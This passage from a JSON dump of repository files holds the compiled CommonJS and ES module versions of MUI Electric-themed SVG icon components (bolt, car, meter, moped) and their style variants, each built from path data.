    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.69 2.21 4.33 11.49c-.64.58-.28 1.65.58 1.73L13 14l-4.85 6.76c-.22.31-.19.74.08 1.01.3.3.77.31 1.08.02l10.36-9.28c.64-.58.28-1.65-.58-1.73L11 10l4.85-6.76c.22-.31.19-.74-.08-1.01-.3-.3-.77-.31-1.08-.02\"\n}), 'ElectricBoltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricBoltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.69 2.21 4.33 11.49c-.64.58-.28 1.65.58 1.73L13 14l-4.85 6.76c-.22.31-.19.74.08 1.01.3.3.77.31 1.08.02l10.36-9.28c.64-.58.28-1.65-.58-1.73L11 10l4.85-6.76c.22-.31.19-.74-.08-1.01-.3-.3-.77-.31-1.08-.02\"\n}), 'ElectricBoltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricCar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 2.01C18.72 1.42 18.16 1 17.5 1h-11c-.66 0-1.21.42-1.42 1.01L3 8v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1V8zM6.5 12c-.83 0-1.5-.67-1.5-1.5S5.67 9 6.5 9 8 9.67 8 10.5 7.33 12 6.5 12m11 0c-.83 0-1.5-.67-1.5-1.5S16.67 9 17.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 7l1.5-4.5h11L19 7zm2 13h4v-2l6 3h-4v2z\"\n}), 'ElectricCar');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricCar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 2.01C18.72 1.42 18.16 1 17.5 1h-11c-.66 0-1.21.42-1.42 1.01L3 8v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1V8zM6.5 12c-.83 0-1.5-.67-1.5-1.5S5.67 9 6.5 9 8 9.67 8 10.5 7.33 12 6.5 12m11 0c-.83 0-1.5-.67-1.5-1.5S16.67 9 17.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 7l1.5-4.5h11L19 7zm2 13h4v-2l6 3h-4v2z\"\n}), 'ElectricCar');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricCarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 2.01C18.72 1.42 18.16 1 17.5 1h-11c-.66 0-1.21.42-1.42 1.01L3 8v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1V8zM6.85 3h10.29l1.08 3.11H5.77zM19 13H5V8h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7.5\",\n  cy: \"10.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"10.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 20h4v-2l6 3h-4v2z\"\n}, \"3\")], 'ElectricCarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricCarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 2.01C18.72 1.42 18.16 1 17.5 1h-11c-.66 0-1.21.42-1.42 1.01L3 8v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1V8zM6.85 3h10.29l1.08 3.11H5.77zM19 13H5V8h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7.5\",\n  cy: \"10.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"10.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 20h4v-2l6 3h-4v2z\"\n}, \"3\")], 'ElectricCarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricCarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 2.01C18.72 1.42 18.16 1 17.5 1h-11c-.66 0-1.21.42-1.42 1.01L3.11 7.68c-.07.21-.11.43-.11.66v7.16c0 .83.67 1.5 1.5 1.5S6 16.33 6 15.5V15h12v.5c0 .82.67 1.5 1.5 1.5.82 0 1.5-.67 1.5-1.5V8.34c0-.22-.04-.45-.11-.66zM6.5 12c-.83 0-1.5-.67-1.5-1.5S5.67 9 6.5 9 8 9.67 8 10.5 7.33 12 6.5 12m11 0c-.83 0-1.5-.67-1.5-1.5S16.67 9 17.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 7l1.27-3.82c.14-.4.52-.68.95-.68h9.56c.43 0 .81.28.95.68L19 7zm2 13h4v-2l6 3h-4v2z\"\n}), 'ElectricCarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricCarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 2.01C18.72 1.42 18.16 1 17.5 1h-11c-.66 0-1.21.42-1.42 1.01L3.11 7.68c-.07.21-.11.43-.11.66v7.16c0 .83.67 1.5 1.5 1.5S6 16.33 6 15.5V15h12v.5c0 .82.67 1.5 1.5 1.5.82 0 1.5-.67 1.5-1.5V8.34c0-.22-.04-.45-.11-.66zM6.5 12c-.83 0-1.5-.67-1.5-1.5S5.67 9 6.5 9 8 9.67 8 10.5 7.33 12 6.5 12m11 0c-.83 0-1.5-.67-1.5-1.5S16.67 9 17.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 7l1.27-3.82c.14-.4.52-.68.95-.68h9.56c.43 0 .81.28.95.68L19 7zm2 13h4v-2l6 3h-4v2z\"\n}), 'ElectricCarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricCarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.58 1H5.43L3 8v9h3v-2h12v2h3V8zM6.5 12c-.83 0-1.5-.67-1.5-1.5S5.67 9 6.5 9 8 9.67 8 10.5 7.33 12 6.5 12m11 0c-.83 0-1.5-.67-1.5-1.5S16.67 9 17.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 7l1.5-4.5h11L19 7zm2 13h4v-2l6 3h-4v2z\"\n}), 'ElectricCarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricCarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.58 1H5.43L3 8v9h3v-2h12v2h3V8zM6.5 12c-.83 0-1.5-.67-1.5-1.5S5.67 9 6.5 9 8 9.67 8 10.5 7.33 12 6.5 12m11 0c-.83 0-1.5-.67-1.5-1.5S16.67 9 17.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 7l1.5-4.5h11L19 7zm2 13h4v-2l6 3h-4v2z\"\n}), 'ElectricCarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricCarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 13h14V8H5zm11.5-4c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-9 0c.83 0 1.5.67 1.5 1.5S8.33 12 7.5 12 6 11.33 6 10.5 6.67 9 7.5 9\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 2.01C18.72 1.42 18.16 1 17.5 1h-11c-.66 0-1.21.42-1.42 1.01L3 8v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1V8zM6.85 3h10.29l1.08 3.11H5.77zM19 13H5V8h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7.5\",\n  cy: \"10.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"10.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 20h4v-2l6 3h-4v2z\"\n}, \"4\")], 'ElectricCarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricCarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 13h14V8H5zm11.5-4c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m-9 0c.83 0 1.5.67 1.5 1.5S8.33 12 7.5 12 6 11.33 6 10.5 6.67 9 7.5 9\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 2.01C18.72 1.42 18.16 1 17.5 1h-11c-.66 0-1.21.42-1.42 1.01L3 8v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1V8zM6.85 3h10.29l1.08 3.11H5.77zM19 13H5V8h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7.5\",\n  cy: \"10.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"10.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 20h4v-2l6 3h-4v2z\"\n}, \"4\")], 'ElectricCarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMeter.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4.96 0-9 4.04-9 9 0 3.91 2.51 7.24 6 8.47V22h2v-2.06c.33.04.66.06 1 .06s.67-.02 1-.06V22h2v-2.53c3.49-1.24 6-4.57 6-8.47 0-4.96-4.04-9-9-9m2.25 12-3 3-1.5-1.5L11 14.25 9.75 13l3-3 1.5 1.5L13 12.75zM16 9H8V7h8z\"\n}), 'ElectricMeter');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMeter.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4.96 0-9 4.04-9 9 0 3.91 2.51 7.24 6 8.47V22h2v-2.06c.33.04.66.06 1 .06s.67-.02 1-.06V22h2v-2.53c3.49-1.24 6-4.57 6-8.47 0-4.96-4.04-9-9-9m2.25 12-3 3-1.5-1.5L11 14.25 9.75 13l3-3 1.5 1.5L13 12.75zM16 9H8V7h8z\"\n}), 'ElectricMeter');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMeterOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11c0-4.97-4.03-9-9-9s-9 4.03-9 9c0 3.92 2.51 7.24 6 8.48V22h2v-2.06c.33.04.66.06 1 .06s.67-.02 1-.06V22h2v-2.52c3.49-1.24 6-4.56 6-8.48m-9 7c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 7h8v2H8zm4.75 3-3 3L11 14.25 9.75 15.5l1.5 1.5 3-3L13 12.75l1.25-1.25z\"\n}, \"1\")], 'ElectricMeterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMeterOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11c0-4.97-4.03-9-9-9s-9 4.03-9 9c0 3.92 2.51 7.24 6 8.48V22h2v-2.06c.33.04.66.06 1 .06s.67-.02 1-.06V22h2v-2.52c3.49-1.24 6-4.56 6-8.48m-9 7c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 7h8v2H8zm4.75 3-3 3L11 14.25 9.75 15.5l1.5 1.5 3-3L13 12.75l1.25-1.25z\"\n}, \"1\")], 'ElectricMeterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMeterRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.73 2C7.05 2.14 3.15 6.03 3 10.71c-.13 4.04 2.42 7.5 6 8.77V21c0 .55.45 1 1 1s1-.45 1-1v-1.06c.33.04.66.06 1 .06s.67-.02 1-.06V21c0 .55.45 1 1 1s1-.45 1-1v-1.53c3.49-1.24 6-4.57 6-8.47 0-5.05-4.18-9.15-9.27-9m1.81 12.71L12 16.25c-.41.41-1.09.41-1.5 0s-.41-1.09 0-1.5l.5-.5-.54-.54a.996.996 0 0 1 0-1.41L12 10.75c.41-.41 1.09-.41 1.5 0s.41 1.09 0 1.5l-.5.5.54.54c.39.39.39 1.03 0 1.42M15 9H9c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'ElectricMeterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMeterRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.73 2C7.05 2.14 3.15 6.03 3 10.71c-.13 4.04 2.42 7.5 6 8.77V21c0 .55.45 1 1 1s1-.45 1-1v-1.06c.33.04.66.06 1 .06s.67-.02 1-.06V21c0 .55.45 1 1 1s1-.45 1-1v-1.53c3.49-1.24 6-4.57 6-8.47 0-5.05-4.18-9.15-9.27-9m1.81 12.71L12 16.25c-.41.41-1.09.41-1.5 0s-.41-1.09 0-1.5l.5-.5-.54-.54a.996.996 0 0 1 0-1.41L12 10.75c.41-.41 1.09-.41 1.5 0s.41 1.09 0 1.5l-.5.5.54.54c.39.39.39 1.03 0 1.42M15 9H9c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'ElectricMeterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMeterSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4.96 0-9 4.04-9 9 0 3.91 2.51 7.24 6 8.47V22h2v-2.06c.33.04.66.06 1 .06s.67-.02 1-.06V22h2v-2.53c3.49-1.24 6-4.57 6-8.47 0-4.96-4.04-9-9-9m2.25 12-3 3-1.5-1.5L11 14.25 9.75 13l3-3 1.5 1.5L13 12.75zM16 9H8V7h8z\"\n}), 'ElectricMeterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMeterSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4.96 0-9 4.04-9 9 0 3.91 2.51 7.24 6 8.47V22h2v-2.06c.33.04.66.06 1 .06s.67-.02 1-.06V22h2v-2.53c3.49-1.24 6-4.57 6-8.47 0-4.96-4.04-9-9-9m2.25 12-3 3-1.5-1.5L11 14.25 9.75 13l3-3 1.5 1.5L13 12.75zM16 9H8V7h8z\"\n}), 'ElectricMeterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMeterTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-3.86 0-7 3.14-7 7s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7m2.25 10-3 3-1.5-1.5L11 14.25 9.75 13l3-3 1.5 1.5L13 12.75zM16 9H8V7h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4.97 0-9 4.03-9 9 0 3.92 2.51 7.24 6 8.48V22h2v-2.06c.33.04.66.06 1 .06s.67-.02 1-.06V22h2v-2.52c3.49-1.24 6-4.56 6-8.48 0-4.97-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 7h8v2H8zm4.75 3-3 3L11 14.25 9.75 15.5l1.5 1.5 3-3L13 12.75l1.25-1.25z\"\n}, \"2\")], 'ElectricMeterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMeterTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-3.86 0-7 3.14-7 7s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7m2.25 10-3 3-1.5-1.5L11 14.25 9.75 13l3-3 1.5 1.5L13 12.75zM16 9H8V7h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4.97 0-9 4.03-9 9 0 3.92 2.51 7.24 6 8.48V22h2v-2.06c.33.04.66.06 1 .06s.67-.02 1-.06V22h2v-2.52c3.49-1.24 6-4.56 6-8.48 0-4.97-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 7h8v2H8zm4.75 3-3 3L11 14.25 9.75 15.5l1.5 1.5 3-3L13 12.75l1.25-1.25z\"\n}, \"2\")], 'ElectricMeterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMoped.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5c0-1.1-.9-2-2-2h-3v2h3v2.65L13.52 12H10V7H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 8.35zM7 15c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 4h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}, \"1\")], 'ElectricMoped');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMoped.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5c0-1.1-.9-2-2-2h-3v2h3v2.65L13.52 12H10V7H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 8.35zM7 15c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 4h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}, \"1\")], 'ElectricMoped');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMopedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5c0-1.1-.9-2-2-2h-3v2h3v2.65L13.52 12H10V7H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 8.35zM4 12v-1c0-1.1.9-2 2-2h2v3zm3 3c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 4h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}, \"1\")], 'ElectricMopedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMopedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5c0-1.1-.9-2-2-2h-3v2h3v2.65L13.52 12H10V7H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 8.35zM4 12v-1c0-1.1.9-2 2-2h2v3zm3 3c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 4h5v2H5zm14 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M7 20h4v-2l6 3h-4v2z\"\n}, \"1\")], 'ElectricMopedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ElectricMopedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5c0-1.1-.9-2-2-2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2.65L13.52 12H10V8c0-.55-.45-1-1-1H6c-2.21 0-4 1.79-4 4v3h2c0 1.66 1.34 3 3 3s3-1.34 3-3h4.48L19 8.35zM7 15c-.55 0-1-.45-1-1h2c0 .55-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4H6c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1m10 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 